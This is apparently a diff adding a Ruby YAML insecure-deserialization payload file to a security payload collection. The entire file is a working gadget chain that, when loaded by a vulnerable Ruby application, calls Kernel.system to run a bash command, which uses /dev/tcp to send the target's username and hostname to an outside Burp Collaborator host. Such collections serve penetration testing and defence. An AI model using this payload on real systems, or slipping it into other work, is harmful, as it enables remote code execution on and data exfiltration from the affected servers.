YAML Deserialization

Insecure Deserialization/Files/ruby-serialize.yaml

@@ -0,0 +1,19 @@
+---
+- !ruby/object:Gem::Installer
+    i: x
+- !ruby/object:Gem::SpecFetcher
+    i: y
+- !ruby/object:Gem::Requirement
+  requirements:
+    !ruby/object:Gem::Package::TarReader
+    io: &1 !ruby/object:Net::BufferedIO
+      io: &1 !ruby/object:Gem::Package::TarReader::Entry
+         read: 0
+         header: "abc"
+      debug_output: &1 !ruby/object:Net::WriteAdapter
+         socket: &1 !ruby/object:Gem::RequestSet
+             sets: !ruby/object:Net::WriteAdapter
+                 socket: !ruby/module 'Kernel'
+                 method_id: :system
+             git_set: "bash -c 'echo 1 > /dev/tcp/`whoami`.`hostname`.wkkib01k9lsnq9qm2pogo10tmksagz.burpcollaborator.net/443'"
+         method_id: :resolve